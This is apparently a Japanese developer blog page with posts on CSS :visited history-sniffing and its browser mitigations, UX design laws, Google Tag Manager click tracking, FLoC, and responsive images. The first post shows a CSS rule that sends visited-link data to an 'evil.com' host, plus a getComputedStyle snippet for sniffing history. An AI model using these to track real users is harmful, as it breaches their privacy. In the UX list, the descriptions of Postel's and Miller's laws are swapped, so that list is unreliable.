UGA Boxxx

つぶやきの延長のつもりで、知ったこと思ったこと書いてます

【Webセキュリティ】a:visitedによるユーザーの履歴への攻撃について

以前、色をアルファチャンネルで指定したくない理由を探したことがあり、その過程でa:visited のセキュリティ対策について触れた

uga-box.hatenablog.com

この対策について、過去の話だが具体的にどういう攻撃の可能性があったのか知る機会があったので自分でも調べてみた

訪問済みのリンクの背景画像を変えてサーバーに送信する

下の記事にあるようにbackground-imageと一緒に使った場合、ユーザーが意図しないサイトにリンク先に訪問したことが知られてしまう

:visitedと一緒にbackground-imageとかは使えないようになってるよ。プライバシー保護が理由。(CSS おれおれ Advent Calendar 2012 – 15日目) | Ginpen.com

a:visited[href="https://example.com"]{
     background-image:url("http://evil.com/visited/black.jpg");
}

そのため、background-image:visitedは一緒に使えなくなった

リンクの色の変化をjs内で検知しサーバーに送信する

getComputedStyleを使って訪問前と訪問後のスタイルの違いを検知し、そのままサーバーに送信する

<style>
  a:link {
    color: blue;
  }
  a:visited {
    color: red;
  }
</style>
<a href="https://example.com">リンク</a>
<script>
  window.onload = () => {
    document.querySelectorAll("a").forEach((a) => {
      const { color } = window.getComputedStyle(a);
      // colorの変化を見て、訪問後のカラーであればサーバに送信する
    });
  };
</script>

これによってもユーザーの情報が意図せずリークできてしまうため、getComputedStyle:visitedのスタイルの情報を訪問前となるように振る舞うようになった

アフファチャンネルの計算時間の違いによる訪問の推測

訪問済みリンク:visitedのみに透明度(アフファチャンネル)が指定されていた場合、訪問済みと未訪問リンクの表示にかかる計算時間の違いを使ってユーザがどこにアクセスしたのかを推測することができた

そのため、:visitedが使えるCSSでもアルファチャンネルは無視される

【技術本】UXデザインの法則

「UXデザインの法則」という本を読んだのでまとめ

サイトの改善を行うときに、いちからあーだこーだと主観まじりの議論より、先人たちの研究結果をつかって仮説を立てたいとおもっていたので、こういう本を待ってました!というのが手に取ったときの感想

UXデザインの法則 ―最高のプロダクトとサービスを支える心理学

UXデザインの法則 ―最高のプロダクトとサービスを支える心理学

  • 作者:Jon Yablonski
  • 発売日: 2021/05/18
  • メディア: 単行本(ソフトカバー)

本では様々な法則を紹介している

以下、目次より

  • ヤコブの法則
    ユーザーは他のサイトで多くの時間を費やしているので、あなたのサイトにもそれらと同じ挙動をするように期待している
  • フィッツの法則
    ターゲットに至るまでの時間は、ターゲットの大きさと近さで決まる
  • ヒックの法則
    意思決定にかかる時間は、とりうる選択肢と複雑さで決まる
  • ポステルの法則
    普通の人が短期記憶に保持できるのは7(±2)個まで
  • ミラーの法則
    出力は厳密に、入力には寛容に
  • ピークエンドの法則
    経緯についての評価は、全体の総和や平均ではなくピーク時と終了時にどう感じたかで決まる
  • 美的ユーザビリティ効果
    見た目が美しいデザインはより使いやすいと感じる
  • フォン・レストルフ効果
    似たものが並んでいると、その中で他と異なるものが記憶に残りやすい
  • テスラーの法則
    どのシステムにもそれ以上減らすことができない複雑さがある
  • ドハティのしきい値
    応答が0.4秒以内の時、コンピューターとユーザの両方がもっとも生産的になる

どの法則もなんとなくそうだろうと思っていたことが多い

ただ、これらの法則もバランスがあると思っていて例えば、フィッツの法則でCTAボタンまでが近くして、下品にタップ領域を大きくすればよいかというとそうでもなく、美的ユーザビリティ効果も考えてバランス良く配置しないといけないんだろうなど

その辺のバランスは引き続き議論が必要で、ABテストなどで可視化していくしかないだろう

その他の法則については、筆者が本の冒頭に以下のサイトを紹介していたので後日まとめたい lawsofux.com

【IE】IE11のサポート終了

IE11 が 2022年6月15日にサポート終了とのこと

blogs.windows.com

IEを対応しなくて良くなると、気にせず使えるようになる機能は池田さんがまとめていらっしゃった

これまで大したバグを引いたことがなかったが、それでもIEへの対応をすることがあったので、これらを気にする必要がなくなるので大変嬉しいニュース

uga-box.hatenablog.com

他参考

IE モードのよくあるご質問 | Japan Developer Support Internet Team Blog

https://github.com/progfay/benefit-from-end-of-ie

【GTM】クリックトリガーの罠

GTMのクリックトリガーをつかって要素のクリック回数を計測したい

support.google.com

計測したい要素にclassを付与しておき、そのclass名が付与された要素がクリックされた場合のみカウントするということができる

そして、それをGAのタグと関連づけることでユーザーの行動をトラッキングすることが可能になる

上記の設定でユーザーのクリック数の計測ができるようになったので、ABテストを行なってみた

具体的にはAパターンではボタンで遷移をさせていたのを、Bパターンでは画像を大きくしてカセット全体をクリックできるようにした場合のクリック率を比較した

f:id:uggds:20210523153755p:plain:w300
Aパターン

f:id:uggds:20210523152629p:plain:w300
Bパターン

初速をみたところBパターンが爆発的にクリックされる結果となった

f:id:uggds:20210523143307p:plain

大成功か?と思ったが、これの妥当性を調査したところ、クリックトリガーの仕様を理解していなかったことがあり、それが原因でBパターンが爆上がりしていることがわかった

仕様を理解していなかった点は計測したい要素の子要素がクリックされてもトリガーが発火してしまうこと

つまり、Bパターンの場合だと次の画像(前の画像)をみる矢印をクリックする度にカウントされてしまっていた

これを修正することによりBパターンのクリック数を妥当な値にすることができた

もう一つの罠

実はAパターンも想定よりもずっと低いクリック数になっていた

この原因はGTMで設定したクリックトリガーの発火条件でトリガータイプが「クリック - リンクのみ」になっていることだった

f:id:uggds:20210523141338p:plain

これはaタグにしかカウントしないという意味であるが、GTMの設定と実装者が別々で「このclass名をつけて」という会話をしただけだったので、aタグではなくbuttonタグにclassを付与してしまっていた

こちらもaタグにclassを付与することで妥当な値にすることができた

まとめ

GTMのクリックトリガーを利用する場合は以下の注意点があることがわかった

  • クリックトリガーの子要素も反応してしまう
  • classを付与する要素は「リンクのみ」ならaタグにつけなければならない

【Webセキュリティ】FLoCとは

FLoC(Federated Learning of Cohorts)について調べた

developers-jp.googleblog.com

上の記事の概要より

FLoC は、プライバシーを保護しつつ、興味ベースで広告を選択するメカニズム
ユーザーがウェブを動き回ると、ブラウザは FLoC アルゴリズムを使って、直近の閲覧履歴が似ているたくさんのブラウザで共通する「興味コホート」を割り出します。コホートはユーザーのデバイスで定期的に再計算されますが、個々の閲覧データがブラウザ ベンダーなどの他者と共有されることはありません。

コホートとは、同じ属性を持つユーザーグループを意味する

ブラウザがユーザーサイト回遊中に興味のあるコンテンツコフォートを作成するので、広告主はそのコホートデータを広告プラットフォームに提供することでユーザーにとってより関連性の高い広告をだすようにすることができる

これまではCookie によるトラッキングやデバイスのフィンガープリンティングなどの技術を利用してこれを実現しているのでプライバシーを侵害する可能性がある

絵としてはこんな感じ?(間違っているかも)

f:id:uggds:20210522191904p:plain:w500

Privacy Sandbox

このようにブラウザフィンガープリントやキャッシュ探索などによる隠れたトラッキングを防止してユーザープライバシーを守りながら関連性の高い広告を出せるようにする試みをPrivacy Sandboxというらしい

現在のChrome/90ではいくつかのPrivacy Sandbox の機能が試験実装されているとのこと

問題点

FLoCによる問題点はコホート(FLoC ID)によってユーザの絞り込みに使うことができてしまい、排除しようとしている3rd party cookie などのトラッキングより強固なトラッキングができるかもしれないこと

「FLoCは邪悪なアイデアである」という電子フロンティア財団の記事がある

www.eff.org

他参考

FLoCとはなにか - ぼちぼち日記

【CSS】色をアルファチャンネルで指定したくない理由を探す

Webページ内の背景色などに、特定のカラーコードを用意するのではなく、カラーコードで指定した色を少し透過(アルファチャンネル)をつけて表現しているデザインをみることがあった

例えば、黒rgb(255, 255, 255)にアルファチャンネルを指定してグレーrgba(255, 255, 255, 0.8)のような感じ

黒がカラーパレットに定義されていて、グレーが定義されていない場合に、カラーパレットに定義するほどでもないけど使いたい場合の抜け穴みたいな感じがしていて、こうなったら何でもありでは?と個人的には思っていた

デザイナーにはなるべくアルファチャンネルを使わないで表現するようにお願いしていたが、それをもっとはっきりさせる理由がないかを考えていた

そんなときa:visitedのセキュリティ対策を知った

a:visited のセキュリティ対策

2010年にWebページのリンクで、ユーザがリンク先を訪れたことがあるかどうかを判断する際に使っていたgetComputedStyle() によってユーザの履歴を詮索し、その他の情報と組み合わせてユーザーをプロファイルできてしまうセキュリティ上の問題が発覚した

https://dev.mozilla.jp/2010/04/plugging-the-css-history-leak/

これにより、a:visited擬似クラスを使って適用できるスタイルが制限され、かつ、利用できるスタイルでもアルファチャンネルは無視されることになった

つまり、colorなどのCSSプロパティでも、アルファチャンネルが使えない場合があるということになる

この使えない場合を考えてデザインするのは難しいし、いつセキュリティの問題で使えなくなるかもわからないので使わないようにするという理由づけができそう

アルファチャンネルをどう悪用するか

簡単に調べると、訪問済みと未訪問リンクの表示にかかる時間の違いを使ってユーザがどこにアクセスしたのかを推測するのに使うみたい

他にアルファチャンネルの悪用例として以下の記事が参考になった blog.mozilla.org

上の記事はChromiumFirefoxで見つかった脆弱性で、悪意のあるページがアクセスできないはずのオリジンにある画像の一部を読み取る可能性があるというもの

同じように透明度の処理の時間の違いを使って、画像にどんなことが書いてあるかを推測する手法

【Web高速化】レスポンシブデザインのLCP

Core Web Vitals (以降、CWV)の指標の一つのLCP(主要なコンテンツの読み込み時間)のスコアが悪い

レスポンシブデザインの中のヒーローイメージが原因なのだが、このような画像のベストプラクティスについて調査してみた

以下の記事のなかで画像とCWVに関することが書かれていたので、自サイトでやれていないことをピックアップしてまとめてみる

www.smashingmagazine.com

レスポンシブ画像

標準のimgタグではブラウザに単一のソースファイルを提供することしかできないが、srcsetsizes属性を使用するとブラウザがデバイスに適したサイズの画像を提供することができるので、これをちゃんと指定するとCWVの改善につながる

<img src="donut-800w.jpg"
     alt="A delicious pink donut."
     width="400"
     height="400"
     srcset="donut-400w.jpg 400w,
             donut-800w.jpg 800w"
     sizes="(max-width: 640px) 400px,
            800px">

最適なイメージブレークポイントはこのサイト(responsivebreakpoints)を利用するとよい

responsivebreakpoints.com

responsivebreakpointsは、最適な画像ブレークポイントを決定し、レスポンシブ画像のsrcsetコードを生成してくれる

最新の画像フォーマットを利用する

ブラウザは、要素を使用して表示する画像形式を選択できる

この要素は、複数の要素と1つの要素をサポートし、AVIF、WebP、JPEGXLなどのさまざまな形式のソースを参照できる

<picture>
    <source srcset="puppy.jxl" type="image/jxl">
    <source srcset="puppy.avif" type="image/avif">
    <source srcset="puppy.webp" type="image/webp">
    <source srcset="puppy.jpg" type="image/jpeg">
    <img src="puppy.jpg" alt="Cute puppy">
</picture>

画像フォーマットに関してはCloudinaryのwebspeedtestで自身のサイトを検索すると、ページの全ての画像の検査をして、最適な手段を提示してくれるのでそれをみてみるとよい webspeedtest.cloudinary.com

を使用して画像形式の選択を手動で処理する代わりに、acceptヘッダーを使用することもできる

developer.mozilla.org

content-visibility:autoをつかう

content-visibility CSSプロパティは、要素が必要になるまで、ブラウザが要素のレンダリング、レイアウト、およびペイントをスキップする

ファーストビューに入らない部分の大量のレイアウトとレンダリング作業を省略できるのでパフォーマンスが向上する

content-visibility - CSS: カスケーディングスタイルシート | MDN

使用できるブラウザは現在はEdgeとChromeのみ

他参考

https://responsivebreakpoints.com/

https://cloudinary.com/blog/responsive_images_with_srcset_sizes_and_cloudinary

https://github.com/woltapp/blurhash

cloudinary.com